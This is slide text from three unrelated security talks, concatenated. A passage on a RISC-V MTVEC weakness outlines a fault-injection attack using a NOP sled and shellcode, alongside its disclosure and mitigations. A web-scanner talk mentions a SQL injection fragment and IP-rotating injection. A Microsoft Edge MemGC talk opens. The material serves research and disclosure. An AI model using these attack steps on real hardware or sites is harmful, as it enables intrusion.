Additionally, we found only one really useful resource - Guillaume Valadon presentation:
https://guedou.github.io/talks/2019_BeeRump/slides.pdf
You need to create a cspec, ldefs, pspec, slaspec, and a Module.manifest file:
We already had it, but we needed to modify slaspec
You define there the register definitions, aliases, instructions etc.
Ghidra can be compiled with a bad SLASPEC if its syntax is correct:
Then you will see on runtime if it works, or you will see tons of JAVA exceptions
We used “check & try” + “calm down” technique to achieve what we wanted :)
52
BRINGING RISC-V TO GHIDRA
Where to start?
We successfully integrated RISC-V plugin, but we needed to modify it…
Ghidra is using SLEIGH language to describe the CPU
SLEIGH is a processor specification language developed for Ghidra (heritage from the
SLED)
Very little documentation about it
If you want to model a simple CPU, it’s fine, but a more complex one could be very painful
(at least it was for me ;-))
We used already supported CPUs as a “source of knowledge”
Additionally, we found only one really useful resource - Guillaume Valadon presentation:
https://guedou.github.io/talks/2019_BeeRump/slides.pdf
You need to create a cspec, ldefs, pspec, slaspec, and a Module.manifest file:
We already had it, but we needed to modify slaspec
You define there the register definitions, aliases, instructions etc.
Ghidra can be compiled with a bad SLASPEC if its syntax is correct:
Then you will see on runtime if it works, or you will see tons of JAVA exceptions
We used “check & try” + “calm down” technique to achieve what we wanted :)
53
BRINGING RISC-V TO GHIDRA
Where to start?
We successfully integrated RISC-V plugin, but we needed to modify it…
Ghidra is using SLEIGH language to describe the CPU
SLEIGH is a processor specification language developed for Ghidra (heritage from the
SLED)
Very little documentation about it
If you want to model a simple CPU, it’s fine, but a more complex one could be very painful
(at least it was for me ;-))
We used already supported CPUs as a “source of knowledge”
Additionally, we found only one really useful resource - Guillaume Valadon presentation:
https://guedou.github.io/talks/2019_BeeRump/slides.pdf
You need to create a cspec, ldefs, pspec, slaspec, and a Module.manifest file:
We already had it, but we needed to modify slaspec
You define there the register definitions, aliases, instructions etc.
Ghidra can be compiled with a bad SLASPEC if its syntax is correct:
Then you will see on runtime if it works, or you will see tons of JAVA exceptions
We used “check & try” + “calm down” technique to achieve what we wanted :)
54
BRINGING RISC-V TO GHIDRA
Where to start?
We successfully integrated RISC-V plugin, but we needed to modify it…
Ghidra is using SLEIGH language to describe the CPU
SLEIGH is a processor specification language developed for Ghidra (heritage from the
SLED)
Very little documentation about it
If you want to model a simple CPU, it’s fine, but a more complex one could be very painful
(at least it was for me ;-))
We used already supported CPUs as a “source of knowledge”
Additionally, we found only one really useful resource - Guillaume Valadon presentation:
https://guedou.github.io/talks/2019_BeeRump/slides.pdf
You need to create a cspec, ldefs, pspec, slaspec, and a Module.manifest file:
We already had it, but we needed to modify slaspec
You define there the register definitions, aliases, instructions etc.
Ghidra can be compiled with a bad SLASPEC if its syntax is correct:
Then you will see on runtime if it works, or you will see tons of JAVA exceptions
We used “check & try” + “calm down” technique to achieve what we wanted :)
55
BRINGING RISC-V TO GHIDRA
Where to start?
We successfully integrated RISC-V plugin, but we needed to modify it…
Ghidra is using SLEIGH language to describe the CPU
SLEIGH is a processor specification language developed for Ghidra (heritage from the
SLED)
Very little documentation about it
If you want to model a simple CPU, it’s fine, but a more complex one could be very painful
(at least it was for me ;-))
We used already supported CPUs as a “source of knowledge”
Additionally, we found only one really useful resource - Guillaume Valadon presentation:
https://guedou.github.io/talks/2019_BeeRump/slides.pdf
You need to create a cspec, ldefs, pspec, slaspec, and a Module.manifest file:
We already had it, but we needed to modify slaspec
You define there the register definitions, aliases, instructions etc.
Ghidra can be compiled with a bad SLASPEC if its syntax is correct:
Then you will see on runtime if it works, or you will see tons of JAVA exceptions
We used “check & try” + “calm down” technique to achieve what we wanted :)
56
BRINGING RISC-V TO GHIDRA
Where to start?
We successfully integrated RISC-V plugin, but we needed to modify it…
Ghidra is using SLEIGH language to describe the CPU
SLEIGH is a processor specification language developed for Ghidra (heritage from the
SLED)
Very little documentation about it
If you want to model a simple CPU, it’s fine, but a more complex one could be very painful
(at least it was for me ;-))
We used already supported CPUs as a “source of knowledge”
Additionally, we found only one really useful resource - Guillaume Valadon presentation:
https://guedou.github.io/talks/2019_BeeRump/slides.pdf
You need to create a cspec, ldefs, pspec, slaspec, and a Module.manifest file:
We already had it, but we needed to modify slaspec
You define there the register definitions, aliases, instructions etc.
Ghidra can be compiled with a bad SLASPEC if its syntax is correct:
Then you will see on runtime if it works, or you will see tons of JAVA exceptions
We used “check & try” + “calm down” technique to achieve what we wanted :)
57
BRINGING RISC-V TO GHIDRA
Where to start?
We successfully integrated RISC-V plugin, but we needed to modify it…
Ghidra is using SLEIGH language to describe the CPU
SLEIGH is a processor specification language developed for Ghidra (heritage from the
SLED)
Very little documentation about it
If you want to model a simple CPU, it’s fine, but a more complex one could be very painful
(at least it was for me ;-))
We used already supported CPUs as a “source of knowledge”
Additionally, we found only one really useful resource - Guillaume Valadon presentation:
https://guedou.github.io/talks/2019_BeeRump/slides.pdf
You need to create a cspec, ldefs, pspec, slaspec, and a Module.manifest file:
We already had it, but we needed to modify slaspec
You define there the register definitions, aliases, instructions etc.
Ghidra can be compiled with a bad SLASPEC if its syntax is correct:
Then you will see on runtime if it works, or you will see tons of JAVA exceptions
We used “check & try” + “calm down” technique to achieve what we wanted :)
58
BRINGING RISC-V TO GHIDRA
Where to start?
We successfully integrated RISC-V plugin, but we needed to modify it…
Ghidra is using SLEIGH language to describe the CPU
SLEIGH is a processor specification language developed for Ghidra (heritage from the
SLED)
Very little documentation about it
If you want to model a simple CPU, it’s fine, but a more complex one could be very painful
(at least it was for me ;-))
We used already supported CPUs as a “source of knowledge”
Additionally, we found only one really useful resource - Guillaume Valadon presentation:
https://guedou.github.io/talks/2019_BeeRump/slides.pdf
You need to create a cspec, ldefs, pspec, slaspec, and a Module.manifest file:
We already had it, but we needed to modify slaspec
You define there the register definitions, aliases, instructions etc.
Ghidra can be compiled with a bad SLASPEC if its syntax is correct:
Then you will see on runtime if it works, or you will see tons of JAVA exceptions
We used “check & try” + “calm down” technique to achieve what we wanted :)
59
PROBLEM WITH MTVEC
What to look for?
SPARK limits what we could hunt for...
We focused on the design and how HW is modeled
We saw the very first instructions configuring the HW...
... and later setting up the MTVEC value
What is MTVEC?
Official RISC-V documentation defines MTVEC register as a read-only or
read/write register that holds the BASE address of the M-mode trap vector
By default, RISC-V handles all traps at any privilege level in machine mode (though
a machine-mode handler might redirect traps back to the appropriate level)
When trap arrives, RISC-V switches to the machine mode and sets the instruction
pointer counter (pc) register to the value configured in MTVEC.
60
PROBLEM WITH MTVEC
What to look for?
SPARK limits what we could hunt for...
We focused on the design and how is HW modeled
We saw the very first instructions configuring the HW...
... and later setting up the MTVEC value
What is MTVEC?
Official RISC-V documentation defines MTVEC register as a read-only or
read/write register that holds the BASE address of the M-mode trap vector
By default, RISC-V handles all traps at any privilege level in machine mode (though
a machine-mode handler might redirect traps back to the appropriate level)
When trap arrives, RISC-V switches to the machine mode and sets the instruction
pointer counter (pc) register to the value configured in MTVEC.
61
PROBLEM WITH MTVEC
What to look for?
SPARK limits what we could hunt for...
We focused on the design and how is HW modeled
We saw the very first instructions configuring the HW...
... and later setting up the MTVEC value
What is MTVEC?
Official RISC-V documentation defines MTVEC register as a read-only or
read/write register that holds the BASE address of the M-mode trap vector
By default, RISC-V handles all traps at any privilege level in machine mode (though
a machine-mode handler might redirect traps back to the appropriate level)
When trap arrives, RISC-V switches to the machine mode and sets the instruction
pointer counter (pc) register to the value configured in MTVEC.
What will happen if any interrupt arrives before MTVEC is initialized?
62
PROBLEM WITH MTVEC
RISC-V MTVEC register specifications does not define the initial value at all
(undefined)
We observed when the CPU starts, MTVEC is undefined by the standard though most
of the tested implementations set it to 0
In many implementations 0 is not a valid address (or not mapped) and any reference
to it generates an exception
If there is any trap/exception generated before initialization of MTVEC register, RISC-
V ends up in a very “stable” infinitive exception loop
when exception arises, RISC-V reads MTVEC register (NULL value at that time) and tries to
jump to the NULL page. This generates an exception again, because it’s a reserved and not
accessible memory, and it jumps to MTVEC again, and so on. RISC-V is not halted, it’s just
spinning in the infinitive exception loop.
Such state is an ideal situation for a fault injection (glitching) attack. RISC-V is running
at the highest privilege mode and constantly dereferencing glitchable register.
63
PROBLEM WITH MTVEC
RISC-V MTVEC register specifications does not define the initial value at all
(undefined)
We observed when the CPU starts, MTVEC is undefined by the standard though most
of the tested implementations set it to 0
In many implementations 0 is not a valid address (or not mapped) and any reference
to it generates an exception
If there is any trap/exception generated before initialization of MTVEC register, RISC-
V ends up in a very “stable” infinitive exception loop
when exception arises, RISC-V reads MTVEC register (NULL value at that time) and tries to
jump to the NULL page. This generates an exception again, because it’s a reserved and not
accessible memory, and it jumps to MTVEC again, and so on. RISC-V is not halted, it’s just
spinning in the infinitive exception loop.
Such state is an ideal situation for a fault injection (glitching) attack. RISC-V is running
at the highest privilege mode and constantly dereferencing glitchable register.
First bug:
ISA does not define the initial
value of MTVEC register
64
PROBLEM WITH MTVEC
RISC-V MTVEC register specifications does not define the initial value at all
(undefined)
We observed when the CPU starts, MTVEC is undefined by the standard though most
of the tested implementations set it to 0
In many implementations 0 is not a valid address (or not mapped) and any reference
to it generates an exception
If there is any trap/exception generated before initialization of MTVEC register, RISC-
V ends up in a very “stable” infinitive exception loop
when exception arises, RISC-V reads MTVEC register (NULL value at that time) and tries to
jump to the NULL page. This generates an exception again, because it’s a reserved and not
accessible memory, and it jumps to MTVEC again, and so on. RISC-V is not halted, it’s just
spinning in the infinitive exception loop.
Such state is an ideal situation for a fault injection (glitching) attack. RISC-V is running
at the highest privilege mode and constantly dereferencing glitchable register.
First bug:
ISA does not define the initial
value of MTVEC register
Second bug:
ISA „allows” for infinitive exception loop
without halting the core (lack of „double/triple
fault”-like exceptions)
65
HOW TO EXPLOIT MTVEC?
The described problem is fully exploitable if the attacker has the capabilities to:
Prefill D/I MEM of the RISC-V core (e.g., via „external” / recover (USB) boot functionality)
Generate an early exception during core execution (e.g., physical HW damage)
Scenario:
Attacker pre-fills IMEM with the custom shellcode:
Attacker does that in a smart way by filling the entire IMEM with NOPs and in the edge of
IMEM attacker puts a real shellcode.
Attacker boots RISC-V
Attacker enforces the necessary conditions to generate an early exception during
Boot-SW or secure code execution and before MTVEC is initialized
RISC-V jumps to the NULL page and it enters the state of the infinitive exception loop
(very stable and predictable state)
Attacker glitches the MTVEC register value of the looped core, and points it
somewhere in the IMEM where special payload with the desired shellcode is placed
(step 1):
Because MTVEC register has a NULL value, it is very likely that the change of just 1 bit ends
up generating an address pointing in the middle of the NOPed filled IMEM memory.
66
HOW TO EXPLOIT MTVEC?
The described problem is fully exploitable if the attacker has the capabilities to:
Prefill D/I MEM of the RISC-V core (e.g., via „external” / recover (USB) boot functionality)
Generate an early exception during core execution (e.g., physical HW damage)
Scenario:
Attacker pre-fills IMEM with the custom shellcode:
Attacker does that in a smart way by filling the entire IMEM with NOPs and in the edge of
IMEM attacker puts a real shellcode.
Attacker boots RISC-V
Attacker enforces the necessary conditions to generate an early exception during
Boot-SW or secure code execution and before MTVEC is initialized
RISC-V jumps to the NULL page and it enters the state of the infinitive exception loop
(very stable and predictable state)
Attacker glitches the MTVEC register value of the looped core, and points it
somewhere in the IMEM where special payload with the desired shellcode is placed
(step 1):
Because MTVEC register has a NULL value, it is very likely that the change of just 1 bit ends
up generating an address pointing in the middle of the NOPed filled IMEM memory.
67
HOW TO EXPLOIT MTVEC?
Step 3: ecall triggers the exception handler with the corrupted MTVEC.
Step 2: the MTVEC value has been changed.
Step 1: pull a trigger to corrupt MTVEC register value on the looped core.
68
HOW TO EXPLOIT MTVEC?
The described problem is fully exploitable if the attacker has the capabilities to:
Prefill D/I MEM of the RISC-V core (e.g., via „external” / recover (USB) boot functionality)
Generate an early exception during core execution (e.g., physical HW damage)
Scenario:
Attacker pre-fill IMEM with the custom shellcode:
Attacker does that in a smart way by filling the entire IMEM with NOPs and in the edge of
IMEM attacker puts a real shellcode.
Attacker boots RISC-V
Attacker enforces the necessary conditions to generate an early exception during
Boot-SW or secure code execution and before MTVEC is initialized
RISC-V jumps to the NULL page and it enters the state of the infinitive exception loop
(very stable and predictable state)
Attacker glitches the MTVEC register value of the looped core, and points it
somewhere in the IMEM where special payload with the desired shellcode is placed
(step 1):
Because MTVEC register has a NULL value, it is very likely that the change of just 1 bit ends
up generating an address pointing in the middle of the NOPed filled IMEM memory.
69
HOW TO REPORT AND FIX THE BUG
IN ISA NOT IMPLEMENTATION?
70
HOW TO REPORT AND FIX THE BUG
IN ISA NOT IMPLEMENTATION?
The described problem(s) affects:
Uninitialized MTVEC:
All tested chips have MTVEC programmable (the most common mode) vulnerable to the described problem
Standard allows to have hardcoded read-only MTVEC value – in such case, it might point to the valid address (no bug)
Lack of "double/triple fault"-like exception
Standard doesn’t define that at all – affects all the implementations
What did we do?
Contact RISC-V Foundation
Until that time, there was no official security response group – now there is one!
Contact SiFive
They were deeply involved in analyzing and working with the RISC-V Foundation to address the issue!
New CVE was allocated – CVE-2021-1104
Contact NVIDIA’s internal RISC-V HW team
They confirmed and fixed the issue internally
Sync with all involved parties for responsible disclosure
How to inform all the vendors (hundred+) about the issue(s)?
It can only be done through the RISC-V Foundation (with the SiFive help)
custom extension might fix that problems as well
71
HOW TO FIX MTVEC ISSUE?
72
HOW TO FIX MTVEC ISSUE?
The described problem is a chain of multiple problems…
To exploit the bug, we need to perform Fault Injection
What are the effective Fault Injection protections?
DCLS (strong)
TCLS (even stronger!)
SW mitigation (complexity++)
Compiler mitigations
73
HOW TO FIX MTVEC ISSUE?
The described problem is a chain of multiple problems…
To exploit the bug, we need to perform Fault Injection
What are the effective Fault Injection protections?
DCLS (strong)
TCLS (even stronger!)
SW mitigation (complexity++)
Compiler mitigations
74
HOW TO FIX MTVEC ISSUE?
The described problem is a chain of multiple problems…
To exploit the bug, we need to perform Fault Injection
What are the effective Fault Injection protections?
DCLS (strong)
TCLS (even stronger!)
SW mitigation (complexity++)
Compiler mitigations
CPU_1
75
HOW TO FIX MTVEC ISSUE?
The described problem is a chain of multiple problems…
To exploit the bug, we need to perform Fault Injection
What are the effective Fault Injection protections?
DCLS (strong)
TCLS (even stronger!)
SW mitigation (complexity++)
Compiler mitigations
Shadow
CPU
CPU_1
76
HOW TO FIX MTVEC ISSUE?
The described problem is a chain of multiple problems…
To exploit the bug, we need to perform Fault Injection
What are the effective Fault Injection protections?
DCLS (strong)
TCLS (even stronger!)
SW mitigation (complexity++)
Compiler mitigations
Shadow
CPU
CPU_1
77
HOW TO FIX MTVEC ISSUE?
The described problem is a chain of multiple problems…
To exploit the bug, we need to perform Fault Injection
What are the effective Fault Injection protections?
DCLS (strong)
TCLS (even stronger!)
SW mitigation (complexity++)
Compiler mitigations
Shadow
CPU
x = CPU_1(instruction_1)
y = Shadow_CPU(instruction_1)
if (x != y)
panic();
…
CPU_1
78
HOW TO FIX MTVEC ISSUE?
The described problem is a chain of multiple problems…
To exploit the bug, we need to perform Fault Injection
What are the effective Fault Injection protections?
DCLS (strong)
TCLS (even stronger!)
SW mitigation (complexity++)
Compiler mitigations
79
HOW TO FIX MTVEC ISSUE?
The described problem is a chain of multiple problems…
To exploit the bug, we need to perform Fault Injection
What are the effective Fault Injection protections?
DCLS (strong)
TCLS (even stronger!)
SW mitigation (complexity++)
Compiler mitigations
x = CPU_1(instruction_1)
y = Shadow_1_CPU(instruction_1)
z = Shadow_2_CPU(instruction_1)
if (x != y || x!=z || y!=z)
panic();
…
CPU_1
Shadow_1
CPU
Shadow_2
CPU
80
HOW TO FIX MTVEC ISSUE?
The described problem is a chain of multiple problems…
To exploit the bug, we need to perform Fault Injection
What are the effective Fault Injection protections?
DCLS (strong)
TCLS (even stronger!)
SW mitigation (complexity++)
Compiler mitigations
81
HOW TO FIX MTVEC ISSUE?
The described problem is a chain of multiple problems…
To exploit the bug, we need to perform Fault Injection
What are the effective Fault Injection protections?
DCLS (strong)
TCLS (even stronger!)
SW mitigation (complexity++)
Compiler mitigations
1. Init/Re-init to fail/error
2. Branch re-check
3. Redundant checks
4. Pre-scrub payload destination
5. Clear memory on auth fail
6. Random delay
7. Exception on error (instead of inf. loop)
8. Hamming distance
9. Loop counter checks
10.Default fail
11.More…
82
HOW TO FIX MTVEC ISSUE?
The described problem is a chain of multiple problems…
To exploit the bug, we need to perform Fault Injection
What are the effective Fault Injection protections?
DCLS (strong)
TCLS (even stronger!)
SW mitigation (complexity++)
Compiler mitigations
1. Init/Re-init to fail/error
2. Branch re-check
3. Redundant checks
4. Pre-scrub payload destination
5. Clear memory on auth fail
6. Random delay
7. Exception on error (instead of inf. loop)
8. Hamming distance
9. Loop counter checks
10.Default fail
11.More…
Automatically
applied by
compiler
83
HOW TO FIX MTVEC ISSUE?
The described problem is a chain of multiple problems…
To exploit the bug, we need to perform Fault Injection
What are the effective Fault Injection protections?
DCLS (strong)
TCLS (even stronger!)
SW mitigation (complexity++)
Compiler mitigations
84
HOW TO FIX MTVEC ISSUE?
The described problem is a chain of multiple problems…
To exploit the bug, we need to perform Fault Injection
What are the effective Fault Injection protections?
DCLS (strong)
TCLS (even stronger!)
SW mitigation (complexity++)
Compiler mitigations
Design decision to address MTVEC weakness:
As soon as START_CPU signal arrives, pre-initialize MTVEC to point to halt instruction
Change ISA to at least WARN about the potential problems with the late MTVEC
initialization
Introduce “double / triple” fault-like exception which halts the core (instead of infinitive
exception loop):
E.g., if MEPC == MTVEC then panic()
85
HOW TO FIX MTVEC ISSUE?
The described problem is a chain of multiple problems…
To exploit the bug, we need to perform Fault Injection
What are the effective Fault Injection protections?
DCLS (strong)
TCLS (even stronger!)
SW mitigation (complexity++)
Compiler mitigations
Design decision to address MTVEC weakness:
As soon as START_CPU signal arrives, pre-initialize MTVEC to point to halt instruction
Change ISA to at least WARN about the potential problems with the late MTVEC
initialization
Introduce “double / triple” fault-like exception which halts the core (instead of infinitive
exception loop):
E.g., if MEPC == MTVEC then panic()
What else can be done to harden RISC-V?
What about mitigation against the software attacks?
86
HARDENING RISC-V
Pointer Masking extension for RISC-V
Driven by Adam Zabrocki (NVIDIA), Martin Maas (Google), Lee Campbell (Google),
RISC-V TEE and J-Ext Task Groups
From the security perspective it allows to implement:
HWASAN
Pointer Authentication Codes (PAC)
HW Memory Sandboxing
Foundation for:
HW MTE
Protecting RISC-V CFI (WIP)
Protecting RISC-V Shadow Stack (WIP)
87
HARDENING RISC-V
Pointer Masking extension for RISC-V
Driven by Adam Zabrocki (NVIDIA), Martin Maas (Google), Lee Campbell (Google),
RISC-V TEE and J-Ext Task Groups
From the security perspective it allows to implement:
HWASAN
Pointer Authentication Codes (PAC)
HW Memory Sandboxing
Foundation for:
HW MTE
Protecting RISC-V CFI (WIP)
Protecting RISC-V Shadow Stack (WIP)
88
HARDENING RISC-V
Pointer Masking extension for RISC-V
Driven by Adam Zabrocki (NVIDIA), Martin Maas (Google), Lee Campbell (Google),
RISC-V TEE and J-Ext Task Groups
From the security perspective it allows to implement:
HWASAN
Pointer Authentication Codes (PAC)
HW Memory Sandboxing
Foundation for:
HW MTE
Protecting RISC-V CFI (WIP)
Protecting RISC-V Shadow Stack (WIP)
89
HARDENING RISC-V
Pointer Masking extension for RISC-V
Driven by Adam Zabrocki (NVIDIA), Martin Maas (Google), Lee Campbell (Google),
RISC-V TEE and J-Ext Task Groups
From the security perspective it allows to implement:
HWASAN
Pointer Authentication Codes (PAC)
HW Memory Sandboxing
Foundation for:
HW MTE
Protecting RISC-V CFI (WIP)
Protecting RISC-V Shadow Stack (WIP)
Portion of memory needed by
the execution context
Secrets
Vuln
Stops the
attack
Flat memory:
Pointer Masking isolation
90
HARDENING RISC-V
Pointer Masking extension for RISC-V
Driven by Adam Zabrocki (NVIDIA), Martin Maas (Google), Lee Campbell (Google),
RISC-V TEE and J-Ext Task Groups
From the security perspective it allows to implement:
HWASAN
Pointer Authentication Codes (PAC)
HW Memory Sandboxing
Foundation for:
HW MTE
Protecting RISC-V CFI (WIP)
Protecting RISC-V Shadow Stack (WIP)
Portion of memory needed by
the execution context
Secrets
Vuln
Stops the
attack
Flat memory:
Pointer Masking isolation
91
ACKNOWLEDGMENTS
We would like to thank:
NVIDIA:
GPU System Software:
James Xu, Marko Mitic, Mateusz Kulikowski, RISC-V SW team
HW team:
Joe Xie, Andy Ma, Jim Zhang, Dorin Yin, RISC-V HW team
Product Security:
Alex Tereshkin, Shawn Richardson and PSIRT team
SiFive
RISC-V Foundation
92
SUMMARY
The use of Type Safety languages and Formal Verification
minimizes the attack surfaces for memory corruption
issues, but it is not a silver bullet.
There are CPU ISA bugs, and real-world attacks can
combine physical attacks with software exploitation
techniques.
And the disclosure of ISA bugs is tough :-(
Adam 'pi3' Zabrocki
Twitter: @Adam_pi3
Alex Matrosov
Twitter: @matrosov | pdf |
Improving Web Vulnerability Scanning
Daniel Zulla
1
Introduction
Hey!
■ Hi there!
■ I’m Dan. This is my first year at DEFCON.
■ I do programming and security start-ups.
■ I do some penetration testing as well
2
More Introduction
■ Today I’m going to talk about vulnerability scanning
■ Primary on the web
■ “The cloud” is involved as well
■ Network security too
■ I’ll show some things, so there is plenty of demo time
■ Have fun, thanks for being here!
3
Some Facts
■ There are a lot of web vulnerability scanners, fuzzers and penetration
testing tools out there already
■ Some of them work, some of them do not
■ But basically all of them have one thing in common:
They actually don’t attack web applications on the application layer
■ They mostly fuzz HTTP and sometimes perform injection attacks
4
Some more facts
■ The fundamental design of web scanners has not changed in over a
decade
■ But: The web has changed.
■ So there seems to be a problem.
5
Software Architecture
What web vulnerability scanners and fuzzers look like
6
The Core
Output Engine
RXSS
PXSS
SQL
BSQLI
LFI
RFI
EVAL
OSC
[...]
A HTTP Library
Multithreading /
Forking
Plugins
A pentesters point of view
7
■
Javascript/Ajax rich applications are still not
supported
■
Authenticated scanning is still incredibly
challenging / not reliable
■
Exploitation techniques are mostly poor
■
“I don’t know which scanner will work for
foo.com and which one for bar.com, so I
use toolchains”
A developers point of view
■
HTTP Libraries don’t support JS -
Scanners are based on an HTTP
Libraries
■
Web Logins are not standarized -
So how should they be detected
■
No time for exploits
(Already spent 100000 lines [and nights] of code
making the crawler immune to encoding issues,
malformed HTML, redirects and binary content!)
■
A false positive is better than a
false negative
8
■
Javascript/Ajax rich applications are still not
supported
■
Authenticated scanning is still incredibly
challenging / not reliable
■
Exploitation techniques are mostly poor
■
“I don’t know which scanner will work for
foo.com and which one for bar.com, so I
use toolchains”
How I see it
9
■
Both of them are right.
■
The web is a mess. Nobody cares about RFCs anymore. (Especially these SEO guys!)
■
10 years ago, you would have expected a Query String at the end of a URL like
https://foo.com/xxx/yyy?foo=bar
■
Nowadays, https://foo.com/something.ext/foo/bar is good practice
■
The result: It’s incredibly hard for scanner developers to figure out the dynamic components
of an HTTP request. Because of that, we feel overhelmed and fuzz nearly everything.
■
Header Keys, Header Values, VHost, Cookie, Method, Path, Version, ...
How I see it
10
■
Fuzzing HTTP is incredibly important. You never know if you are talking to an apache2, nginx
or some hidden application server upstream
■
But it has nothing to-do with web vulnerability scanning
■
So - developers are struggling with websites because they use HTTP to crawl and attack
them. Things like flash, images, javascript seems to be an unsolveable problem
■
Redirects are hard to handle sometimes (wait there is more)
■
Javascript redirects (after 10 seconds!) and of course: onmouseover, onclick, onfocus, ...
■
Flash isn’t helpful either
Web 2.0
11
■
But - WE DO SECURITY
■
Is it really our job to make sure that our software executed all the JS and grabbed all the
links?
■
When we spend 100 hours on the crawler, and 5 hours on the actual payloads (that’s how it
looks right now) something, somewhere, went terribly wrong
■
So - Is there a (open source?) piece of software that we could use instead of the HTTP
library? Something that has prooven its mastery in handling unpredictably broken web
content already? There is.
Webkit!
12
Webkit knows
13
■
Javascript
■
Javascript events
■
Redirects
■
Flash
■
Images
■
Websockets
■
WebGL
■
CSS Rendering
■
Binary Downloads
■
Broken HTML
■
Broken CSS
■
Performance
■
Forking / Multiprocessing
■
[...]
Software Architecture
What it should look like
14
The Core
Reporting Engine
A HTTP
Library
RXSS
PXSS
SQL
BSQLI
LFI
RFI
EVAL
OSC
[...]
The Exploitation Engine
The Front-End
Changes? Improvments?
■ Replacing the HTTP library by a Webkit Engine
■ Less code (A lot less code)
■ 100% support for JS/Ajax/Broken HTML/JS Events/Crazy Redirects
and all kinds of things
■ The ability to simulate human user behaviour
■ CSS Renderings (Two text fields beside each other: 10px - one of
them is a input[type=password]) - May be a login!
15
Making it scale (heavily)
■ Webkit is slow (Website rendering, Executing JS, ... - compared to -
Speaking Plaintext HTTP)
■ Downloading Images is slow
■ Waiting for delayed JS events is slow
■ Flash is even slower
16
Making it scale (heavily)
Bad news: Qt / PyQt / PySide
■ QtWebkit does not support multithreading
■ It tends to SEGFAULT from time to time :(
■ Multiple QApplication instances are almost impossible to handle in
one Python namespace
17
Making it scale (heavily)
Good news: Building a preforking TCP Server
■ Spawning a pool of processes works quite well (one QApplication
+one Browser instance per Process)
■ Simultaneous downloads
■ Better accessibility inside the scanner (multiprocessing insides loops
to increase performance)
18
Missing pieces
■ Mastering Authentication
■ Exploitation & Privilege Escalation
■ Geographically distributed scanning: Using the cloud
■ Reporting
19
Mastering Authentication
■ There is no such thing as a standarized web login
■ Basically, everybody develops access control on the web slightly
differently
■ You can try to detect them by the name/id of the attributes, but that is
not reliable
■ But in the end, Web logins generally have a few things in common
that makes them easily detectable. At least, for our browser engine
20
Mastering Authentication
Not more than 2 visible (!) text fields
21
has_login_texts()
Mastering Authentication
Man-Behind-You Protection
22
is_input_hidden()
Mastering Authentication
Geometry! Usually, the two visible text fields are under(), next_to() or at least
near(radius=10px) each other
23
!
X1 = X2
X1 = X2
Y1 = Y2
Mastering Authentication
■ That was easy!
■ The common way to solve that problem, is to iterate through a
wordlist (login, auth, signin, [...]) while checking the input[id],
input[name] attributes
■ That’s not necessarily wrong or bad practice
■ After putting the pieces together:
■ .login(“username”, “password”)
24
Mastering Authentication
Demo Time
■ Proof Of Concept 1: Twitter (Some Javascript)
■ Proof Of Concept 2: Facebook (More Javascript)
■ Proof Of Concept 3: Google Plus (Most Javascript + Browser Hacks)
25
Mastering Authentication
When we are signed in
■ New problems occur: How can we let the scanner check if we are
indeed signed in?
■ Common practive: Looking for a /logout/i String
■ The problem: Inefficient. Likely to cause false positives
■ There has to be a better way:
■ Introduction “Strategies”
26
Strategy.Authentication
Step 1: Identification
■ Identifying a login form (3-way approach, input[type=password],
geometry, [...])
27
Strategy.Authentication
Step 2: Error messages (Why a browser engines rocks)
■ Verifying wrong credentials - Random strings - Failed login
28
#BA.... -> #E4...
Strategy.Authentication
Step 3: Going in: .login(“..”, “..”)
■ Verifying valid credentials - Behaviour should not be similiar to the
behaviour of a invalid login
29
Strategy.Authentication
Step 4: Going out. .logout()
■ Doing similiar work again for .logout() function seems obsolote
■ But it really isn’t.
■ It is the basis to a .is_still_loggedin() function
■ Which is really important to stay logged in during crawling
■ And if the scanner logged itself out, it can simply .login() again
■ That’s cool. :-)
30
Exploitation and Privilege Escalation
31
■ There is a whole universe besides injection vulnerabilities
■ Usually, scanners don’t detect them
■ But they should
■ And now they can: .login(“user1”, “...”); .logout(); .login(“user2”, “...”)
■ => Demo Time: Privilege Escalation, Multi-User Systems
Geographically distributed scanning:
Using the cloud
■ When (injection) vulnerabilities are getting complicated:
■ Scenario 1: The backend of a website creates a log entry for every
new IP address. It logs the USERAGENT. The log entries are kept in a
SQL database. The function that creates the log entries, is vulnerable.
The User-Agent is injectable. The problem is:
■ It only works once. As soon as the IP is in the database, the function
won’t be executed anymore :-(
■ ==> SQLMap (and every other tool) will fail.
32
Geographically distributed scanning:
Using the cloud
■ But they shouldn’t!
■ The limitation is totally detectable
■ And a new IP is just as far away as a single EC2 API call
33
Geographically distributed scanning:
Using the cloud
34
■ Indeed! The cloud is a good thing for security :)
■ Demo Time: Introducing:
sqlmap and w3af (on steroids)
Combining “Strategies” and the
distributed scanning
■ Introducing next generation vulnerability scanning
■ Exploiting a really amazingly hard SQL Injection
■ Demo Time
35
Further Research & Additional Ideas
■ Country specific restrictions can be by-passed in a fully automatic
manner
■ (Error) messages can be parsed and interpreted: Wolfram Alpha
■ Bloomfilters should be integrated
■ Other “Strategies” should be implemented (the limitations are gone)
36
More Live Demos
■ Demonstrating a logical layer beyond Authentication:
.pay(“0000111122223333”, CVV=121, type=VISA)
.search(“search query”)
.sort(“DESC UNION SELECT [...]”)
■ Interpreting error messages
■ Pivoting on penetrated hosts - Spawning another scanner instance
■ And finally: Reporting!
37
Thanks!
38 | pdf |
Microsoft Edge MemGC Internals
Henry Li,TrendMicro
2015/08/29
Agenda
• Background
• MemGC Internals
• Prevent the UAF'S exploit
• Weaknesses of MemGC
Notes
• Research is based on Windows 10
10041( edgehtml.dll, chakra.dll)
• The latest windows versions( windows 10
10240) data structure there are some small
changes
Who am i?
• A security research in TrendMicro CDC zero
day discovery team.
• Four years of experience in vulnerability &
exploit research.
• Research interests are browser 0day
vulnerability analysis, discovery and exploit.
• Twitter/Weibo:zenhumany
Background
• June 2014 IE introduce ISOLATE HEAP
• July 2014 IE introduce DELAY FREE
Background
• Isolated Heap can bypass
• Delay Free
– Pointer to the free block remains on the stack for
the entire period of time from the free until the
reuse, can prevent UAF EXPLOIT
– Other situation, can bypass
What’s MemGC
• Chakra GC use Concurrent Mark-Sweep (CMS)
Managing Memory
• Edge use the same data structures to mange
DOM and DOM’S supporting objects, called
MemGC
MemGC Internals
• Data Structures
• Algorithms
MemGC Data Structures
MemProtectHeap
0x000
m_tlsIndex
:int
0x108 m_recycler
:Recycler
Recycler
0x026c m_HeapBlock32Map HeapBlock32Map
0x42bc m_HeapInfo
:HeapInfo
HeapInfo
0x4400 m_HeapBucketGroup[ 0x40] :HeapBucketGroup array
0x5544 m_LargeHeapBucket[ 0x20 ] :LargeHeapBucket array
0x5b44 m_lastLargeHeapBucket
:LargeHeapBucket
HeapBucketGroup
